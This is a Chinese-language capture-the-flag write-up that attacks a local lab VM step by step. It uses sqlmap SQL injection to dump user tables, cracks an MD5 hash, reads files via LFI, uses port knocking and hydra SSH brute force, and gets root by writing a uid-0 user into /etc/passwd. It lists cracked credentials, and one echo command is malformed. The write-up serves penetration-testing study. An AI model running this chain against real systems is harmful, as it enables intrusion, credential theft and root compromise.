攻击机192.168.223.128
靶机192.168.223.138
主机发现 nmap -sP 192.168.223.0/24
端口扫描 nmap -sV -p- -A 192.168.223.138
开启了22 80端口
访问一下web页面
有个查询界面
测试发现存在post型的sql注入
用sqlmap跑一下,因为是post型的,这里加一个post的data
sqlmap -u http://192.168.223.138/results.php --data "search=1" --dbs
爆库
三个库,看一下users的
sqlmap -u http://192.168.223.138/results.php --data "search=1" --tables -D users --batch
只有一个表
看一下字段
sqlmap -u http://192.168.223.138/results.php --data "search=1" --columns -D users -T UserDetails --batch
有账号密码
看一下账号密码
sqlmap -u http://192.168.223.138/results.php --data "search=1" -C username,password -D users -T UserDetails --dump
账号密码都爆出来了,登录一下
等一下这个管理员的账号,md登不上去0.0
测试了其他账号密码也登不上去,我淦
还有一个库没看Staff
sqlmap -u http://192.168.223.138/results.php --data "search=1" --tables -D Staff --batch
爆表
也有个Users
sqlmap -u http://192.168.223.138/results.php --data "search=1" --columns -D Staff -T Users --batch
爆字段
有账号密码
sqlmap -u http://192.168.223.138/results.php --data "search=1" -C Username,Password -D Staff -T Users --dump --batch
admin 856f5de590ef37314e7c3bdf6f8a66dc
密码用md5解密看看
密码是transorbital1
成功登录
注意下面显示
可能有文件包含
用bp抓包看看
并没有什么参数,根据前面有个靶机的经验,文件包含的参数名可能是file
测试一下
成功LFI
BUT,后面不会了,尝试了ssh连接也无果。
看了别人wp后才知道靶机开启了knockd服务
搜索了一下相关知识
在第一步信息收集的时候22端口其实状态是被过滤的,我忽略了这一点
重新看一下,也验证了靶机开启了knockd服务
看一下配置文件,默认配置文件在/etc/knockd.conf
其中7469,8475,9842 就是我们敲门的端口序列
用nmap依次访问22端口就会开启
nmap -p 7469 192.168.223.138
nmap -p 8475 192.168.223.138
nmap -p 9842 192.168.223.138
在扫一下端口看看22端口开没开
这里看到22端口已经开启了
那么应该就可以用ssh连接了
为了方便,把之前获得的账号和密码分别放入两个txt文档用hydra爆破一下,省手输入了
hydra -L users.txt -P password.txt ssh://192.168.223.138
爆出来三组账号密码
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
ssh chandlerb@192.168.223.138
ssh joeyt@192.168.223.138
ssh janitor@192.168.223.138
先登第一个看看,空的
看第二个,也是空的
看第三个,也是空的,
我擦
难道是隐藏了
ls -a 看一下
看到janitor账户多一个文件
打开发现里面有个密码文件
可能是其他账户密码,加到字典里再爆破一次
多爆破出来一组fredf!login: fredf password: B4-Tru3-001
我最初怀疑的管理员!管理员总应该有点root权限吧?
sudo -l 看一下
果然有一个免密rooot
打开这个文件看一下
好多编译文件,不知道如何利用,看看上一级test.py是什么东西
是一个文件读写的脚本,读取第一个参数文件的内容,写入到第二个参数文件里
可以利用这个脚本写一个有root权限的用户到/etc/passwd就可以提权了
先来到tmp目录写一个免密的root
echo ttao::0:0:root:/bin/bash >>/tmp/mr
然后执行test
sudo ./test /tmp/mr /etc/passwd
发现不太行,可能是文件权限稳定,暂时没搞懂
那就弄个加密的root
用openssl加盐
openssl passwd -1 -salt xt xt
1 1 1xt$Mpdxuy7oTO65ufaQVL4zS1
echo 'echo 'xt:$1$xt$Mpdxuy7oTO65ufaQVL4zS1:0:0:root:/bin/bash' >> /tmp/xt
' >> /tmp/xt
sudo ./test /tmp/xt /etc/passwd
su xt
成功拿下flag。
1.sql注入2.LFI本地包含3.knockd敲门服务4.ssh连接5.hyrdra爆破6.ls -a读取隐藏文件7.openssl生成加盐密码8.写入root权限用户